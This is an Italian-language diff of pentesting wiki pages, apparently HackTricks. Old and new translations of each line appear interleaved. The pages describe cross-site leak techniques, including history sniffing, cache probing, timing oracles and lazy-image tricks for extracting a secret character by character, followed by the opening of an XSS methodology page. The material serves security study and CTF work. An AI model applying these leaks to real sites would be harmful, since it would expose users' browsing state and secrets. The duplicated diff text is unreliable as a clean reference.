Le applicazioni web possono cambiare lo **stile del sito web a seconda dello stato dell'uso**. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'**elemento link HTML**, e le **regole** saranno **applicate** alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può **rilevare** queste **differenze** a seconda dello stato dell'utente.\
|
||||
Come tecnica di fuga, l'attaccante può utilizzare il metodo `window.getComputedStyle` per **leggere le proprietà CSS** di un elemento HTML specifico. Di conseguenza, un attaccante può leggere proprietà CSS arbitrarie se l'elemento e il nome della proprietà interessati sono noti.
|
||||
Le applicazioni web possono cambiare lo **stile del sito web a seconda dello stato dell'uso**. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'**elemento HTML link**, e le **regole** saranno **applicate** alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può **rilevare** queste **differenze** a seconda dello stato dell'utente.\
|
||||
Come tecnica di leak, l'attaccante può utilizzare il metodo `window.getComputedStyle` per **leggere le proprietà CSS** di un elemento HTML specifico. Di conseguenza, un attaccante può leggere proprietà CSS arbitrarie se l'elemento e il nome della proprietà interessati sono noti.
|
||||
|
||||
### Storia CSS
|
||||
### CSS History
|
||||
|
||||
- **Metodi di Inclusione**: Elementi HTML
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
||||
- **Riepilogo:** Rileva se lo stile `:visited` è applicato a un URL indicando che è già stato visitato
|
||||
- **Esempio di Codice**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
||||
- **Summary:** Rileva se lo stile `:visited` è applicato a un URL indicando che è già stato visitato
|
||||
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||||
|
||||
> [!NOTE]
|
||||
> Secondo [**questo**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), questo non funziona in Chrome headless.
|
||||
|
||||
Il selettore CSS `:visited` è utilizzato per stilizzare gli URL in modo diverso se sono stati precedentemente visitati dall'utente. In passato, il metodo `getComputedStyle()` poteva essere impiegato per identificare queste differenze di stile. Tuttavia, i browser moderni hanno implementato misure di sicurezza per impedire a questo metodo di rivelare lo stato di un link. Queste misure includono il ritorno sempre dello stile calcolato come se il link fosse stato visitato e la restrizione degli stili che possono essere applicati con il selettore `:visited`.
|
||||
|
||||
Nonostante queste restrizioni, è possibile discernere lo stato visitato di un link indirettamente. Una tecnica implica ingannare l'utente per interagire con un'area influenzata dal CSS, utilizzando specificamente la proprietà `mix-blend-mode`. Questa proprietà consente la fusione di elementi con il loro sfondo, rivelando potenzialmente lo stato visitato in base all'interazione dell'utente.
|
||||
Nonostante queste restrizioni, è possibile discernere lo stato visitato di un link in modo indiretto. Una tecnica implica ingannare l'utente per interagire con un'area influenzata dal CSS, utilizzando specificamente la proprietà `mix-blend-mode`. Questa proprietà consente la fusione di elementi con il loro sfondo, rivelando potenzialmente lo stato visitato in base all'interazione dell'utente.
|
||||
|
||||
Inoltre, la rilevazione può essere ottenuta senza interazione dell'utente sfruttando i tempi di rendering dei link. Poiché i browser possono rendere i link visitati e non visitati in modo diverso, questo può introdurre una differenza di tempo misurabile nel rendering. Un proof of concept (PoC) è stato menzionato in un rapporto di bug di Chromium, dimostrando questa tecnica utilizzando più link per amplificare la differenza di tempo, rendendo così lo stato visitato rilevabile attraverso l'analisi temporale.
|
||||
Inoltre, la rilevazione può essere ottenuta senza interazione dell'utente sfruttando i tempi di rendering dei link. Poiché i browser possono rendere i link visitati e non visitati in modo diverso, questo può introdurre una differenza di tempo misurabile nel rendering. Un proof of concept (PoC) è stato menzionato in un rapporto di bug di Chromium, dimostrando questa tecnica utilizzando più link per amplificare la differenza di tempo, rendendo così lo stato visitato rilevabile attraverso l'analisi dei tempi.
|
||||
|
||||
Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di documentazione:
|
||||
|
||||
- `:visited`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||||
- `getComputedStyle()`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [Documentazione MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||||
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
|
||||
### ContenutoDocument X-Frame Leak
|
||||
### ContentDocument X-Frame Leak
|
||||
|
||||
- **Metodi di Inclusione**: Frame
|
||||
- **Differenza Rilevabile**: Intestazioni
|
||||
- **Ulteriori informazioni**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Riepilogo:** In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina è bloccata dall'essere incorporata in un sito cross-origin a causa delle restrizioni X-Frame-Options.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Headers
|
||||
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Summary:** In Google Chrome, viene visualizzata una pagina di errore dedicata quando una pagina è bloccata dall'essere incorporata in un sito cross-origin a causa delle restrizioni di X-Frame-Options.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
In Chrome, se una pagina con l'intestazione `X-Frame-Options` impostata su "deny" o "same-origin" viene incorporata come oggetto, appare una pagina di errore. Chrome restituisce in modo univoco un oggetto documento vuoto (anziché `null`) per la proprietà `contentDocument` di questo oggetto, a differenza degli iframe o di altri browser. Gli attaccanti potrebbero sfruttare questo rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo incoerente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali perdite.
|
||||
|
||||
### Rilevamento Download
|
||||
### Download Detection
|
||||
|
||||
- **Metodi di Inclusione**: Frame, Pop-up
|
||||
- **Differenza Rilevabile**: Intestazioni
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
||||
- **Riepilogo:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Headers
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
||||
- **Summary:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
|
||||
L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attachment`, istruisce il browser a scaricare contenuti anziché visualizzarli inline. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:
|
||||
|
||||
1. **Monitoraggio della Barra di Download**:
|
||||
- Quando un file viene scaricato nei browser basati su Chromium, appare una barra di download nella parte inferiore della finestra del browser.
|
||||
- Monitorando i cambiamenti nell'altezza della finestra, gli attaccanti possono dedurre l'apparizione della barra di download, suggerendo che un download è stato avviato.
|
||||
2. **Navigazione al Download con gli Iframe**:
|
||||
2. **Navigazione al Download con Iframe**:
|
||||
- Quando una pagina attiva un download di file utilizzando l'intestazione `Content-Disposition: attachment`, non causa un evento di navigazione.
|
||||
- Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto causa un download di file (nessuna navigazione) o meno.
|
||||
3. **Navigazione al Download senza Iframe**:
|
||||
@ -757,104 +757,104 @@ L'intestazione `Content-Disposition`, specificamente `Content-Disposition: attac
|
||||
|
||||
In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download.
|
||||
|
||||
### Bypass della Cache HTTP Partizionata <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Tempistiche
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
||||
- **Riepilogo:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
||||
- **Summary:** Un attaccante può discernere i download di file sfruttando gli iframe; la continua accessibilità dell'iframe implica un download di file riuscito.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (da [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
> Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **partizionamento della cache**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ma se apro una pagina ngrok e uso fetch in essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha **cache partitioning**, e la chiave della cache della pagina appena aperta è: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ma se apro una pagina ngrok e uso fetch in essa, la chiave della cache sarà: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **chiave della cache è diversa**, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Commento da [**qui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
Se un sito `example.com` include una risorsa da `*.example.com/resource`, allora quella risorsa avrà la **stessa chiave di caching** come se la risorsa fosse stata direttamente **richiesta tramite navigazione di livello superiore**. Questo perché la chiave di caching è composta da _eTLD+1_ di livello superiore e _eTLD+1_ di frame.
|
||||
Se un sito `example.com` include una risorsa da `*.example.com/resource`, allora quella risorsa avrà la **stessa chiave di caching** come se la risorsa fosse stata direttamente **richiesta tramite navigazione di alto livello**. Questo perché la chiave di caching è composta da _eTLD+1_ di alto livello e _eTLD+1_ di frame.
|
||||
|
||||
Poiché accedere alla cache è più veloce che caricare una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20 ms (ad esempio) dopo. Se l'origine è cambiata dopo l'arresto, significa che la risorsa è stata memorizzata nella cache.\
|
||||
Oppure si potrebbe semplicemente **inviare alcune fetch alla pagina potenzialmente memorizzata nella cache e misurare il tempo che impiega**.
|
||||
Poiché accedere alla cache è più veloce che caricare una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20 ms (ad esempio) dopo. Se l'origine è stata cambiata dopo l'arresto, significa che la risorsa è stata memorizzata nella cache.\
|
||||
Oppure si può semplicemente **inviare qualche fetch alla pagina potenzialmente memorizzata nella cache e misurare il tempo che impiega**.
|
||||
|
||||
### Reindirizzamento Manuale <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Metodi di Inclusione**: Fetch API
|
||||
- **Differenza Rilevabile**: Reindirizzamenti
|
||||
- **Ulteriori informazioni**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Riepilogo:** È possibile scoprire se una risposta a una richiesta fetch è un reindirizzamento
|
||||
- **Esempio di Codice**:
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Redirects
|
||||
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Summary:** È possibile scoprire se una risposta a una richiesta fetch è un reindirizzamento
|
||||
- **Code Example**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Metodi di Inclusione**: Fetch API
|
||||
- **Differenza Rilevabile**: Tempistiche
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Riepilogo:** È possibile provare a caricare una risorsa e interrompere il caricamento prima che venga completato. A seconda se viene attivato un errore, la risorsa era o non era memorizzata nella cache.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Summary:** È possibile provare a caricare una risorsa e interrompere il caricamento prima che venga caricata. A seconda se viene attivato un errore, la risorsa era o non era memorizzata nella cache.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
|
||||
Usa _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevare se la **risorsa è memorizzata nella cache** e per espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nella cache nuovi contenuti.
|
||||
|
||||
### Inquinamento degli Script
|
||||
### Script Pollution
|
||||
|
||||
- **Metodi di Inclusione**: Elementi HTML (script)
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Riepilogo:** È possibile **sovrascrivere funzioni integrate** e leggere i loro argomenti anche da **script cross-origin** (che non possono essere letti direttamente), questo potrebbe **rivelare informazioni preziose**.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Inclusion Methods**: HTML Elements (script)
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** È possibile **sovrascrivere funzioni integrate** e leggere i loro argomenti anche da **script cross-origin** (che non possono essere letti direttamente), questo potrebbe **trapelare informazioni preziose**.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||||
- **Riepilogo:** Misura il tempo di esecuzione di un web utilizzando i service workers.
|
||||
- **Esempio di Codice**:
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||||
- **Summary:** Misura il tempo di esecuzione di un web utilizzando i service worker.
|
||||
- **Code Example**:
|
||||
|
||||
In questo scenario, l'attaccante prende l'iniziativa di registrare un **service worker** all'interno di uno dei propri domini, specificamente "attacker.com". Successivamente, l'attaccante apre una nuova finestra nel sito web target dal documento principale e istruisce il **service worker** di avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passaggio precedente a una pagina gestita dal **service worker**.
|
||||
Nello scenario dato, l'attaccante prende l'iniziativa di registrare un **service worker** all'interno di uno dei propri domini, specificamente "attacker.com". Successivamente, l'attaccante apre una nuova finestra nel sito web target dal documento principale e istruisce il **service worker** di avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passo precedente a una pagina gestita dal **service worker**.
|
||||
|
||||
All'arrivo della richiesta avviata nel passaggio precedente, il **service worker** risponde con un codice di stato **204 (No Content)**, terminando efficacemente il processo di navigazione. A questo punto, il **service worker** cattura una misurazione dal timer avviato in precedenza nel secondo passaggio. Questa misurazione è influenzata dalla durata del JavaScript che causa ritardi nel processo di navigazione.
|
||||
All'arrivo della richiesta avviata nel passo precedente, il **service worker** risponde con un codice di stato **204 (No Content)**, terminando efficacemente il processo di navigazione. A questo punto, il **service worker** cattura una misurazione dal timer avviato in precedenza nel passo due. Questa misurazione è influenzata dalla durata del JavaScript che causa ritardi nel processo di navigazione.
|
||||
|
||||
> [!WARNING]
|
||||
> In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
|
||||
|
||||
### Tempistiche Fetch
|
||||
### Fetch Timing
|
||||
|
||||
- **Metodi di Inclusione**: Fetch API
|
||||
- **Differenza Rilevabile**: Tempistiche (generalmente a causa del Contenuto della Pagina, Codice di Stato)
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Riepilogo:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta. Altri orologi potrebbero essere utilizzati.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Timing (generalmente a causa del Contenuto della Pagina, Codice di Stato)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Summary:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta. Altri orologi potrebbero essere utilizzati.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
|
||||
### Tempistiche Cross-Window
|
||||
### Cross-Window Timing
|
||||
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Tempistiche (generalmente a causa del Contenuto della Pagina, Codice di Stato)
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Riepilogo:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta utilizzando `window.open`. Altri orologi potrebbero essere utilizzati.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Timing (generalmente a causa del Contenuto della Pagina, Codice di Stato)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Summary:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta utilizzando `window.open`. Altri orologi potrebbero essere utilizzati.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
|
||||
## Con HTML o Re Iniezione
|
||||
## With HTML or Re Injection
|
||||
|
||||
Qui puoi trovare tecniche per esfiltrare informazioni da un HTML cross-origin **iniettando contenuto HTML**. Queste tecniche sono interessanti nei casi in cui per qualsiasi motivo puoi **iniettare HTML ma non puoi iniettare codice JS**.
|
||||
|
||||
### Markup Pendente
|
||||
### Dangling Markup
|
||||
|
||||
{{#ref}}
|
||||
../dangling-markup-html-scriptless-injection/
|
||||
{{#endref}}
|
||||
|
||||
### Caricamento Pigro delle Immagini
|
||||
### Image Lazy Loading
|
||||
|
||||
Se hai bisogno di **esfiltrare contenuto** e puoi **aggiungere HTML prima del segreto**, dovresti controllare le **tecniche comuni di markup pendente**.\
|
||||
Se hai bisogno di **esfiltrare contenuto** e puoi **aggiungere HTML prima del segreto**, dovresti controllare le **tecniche comuni di dangling markup**.\
|
||||
Tuttavia, se per qualsiasi motivo **DEVI** farlo **carattere per carattere** (forse la comunicazione avviene tramite un colpo di cache) puoi usare questo trucco.
|
||||
|
||||
**Le immagini** in HTML hanno un attributo "**loading**" il cui valore può essere "**lazy**". In tal caso, l'immagine verrà caricata quando viene visualizzata e non mentre la pagina si sta caricando:
|
||||
**Immagini** in HTML hanno un attributo "**loading**" il cui valore può essere "**lazy**". In tal caso, l'immagine verrà caricata quando viene visualizzata e non mentre la pagina si sta caricando:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Pertanto, ciò che puoi fare è **aggiungere molti caratteri spazzatura** (Ad esempio **migliaia di "W"**) per **riempire la pagina web prima del segreto o aggiungere qualcosa come** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Poi, se ad esempio la nostra **iniezione appare prima della flag**, l'**immagine** verrebbe **caricata**, ma se appare **dopo** la **flag**, la flag + la spazzatura **impediranno il caricamento** (dovrai giocare con la quantità di spazzatura da inserire). Questo è ciò che è successo in [**questo writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
Poi, se ad esempio la nostra **iniezione appare prima della flag**, l'**immagine** verrebbe **caricata**, ma se appare **dopo** la **flag**, la flag + la spazzatura **ne impediranno il caricamento** (dovrai giocare con la quantità di spazzatura da inserire). Questo è ciò che è successo in [**questo writeup**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
|
||||
Un'altra opzione sarebbe utilizzare il **scroll-to-text-fragment** se consentito:
|
||||
|
||||
@ -868,7 +868,7 @@ Quindi la pagina web sarà qualcosa del tipo: **`https://victim.com/post.html#:~
|
||||
|
||||
Dove post.html contiene i caratteri spazzatura dell'attaccante e un'immagine a caricamento pigro e poi il segreto del bot viene aggiunto.
|
||||
|
||||
Ciò che questo testo farà è far accedere al bot qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine verrà caricata solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**.
|
||||
Questo testo farà in modo che il bot acceda a qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine verrà caricata solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**.
|
||||
|
||||
Un esempio di codice per sfruttare questo: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _headers_?, _cookies_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
2. **Trova il contesto** in cui è riflesso/utilizzato.
|
||||
3. Se **riflesso**
|
||||
1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload:
|
||||
@ -38,7 +38,7 @@ debugging-client-side-js.md
|
||||
Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
|
||||
- **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
|
||||
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
|
||||
- **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
|
||||
- **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
|
||||
|
||||
## Contesti
|
||||
@ -48,7 +48,7 @@ Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove viene
|
||||
### HTML grezzo
|
||||
|
||||
Se il tuo input è **riflesso nella pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni presente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
|
||||
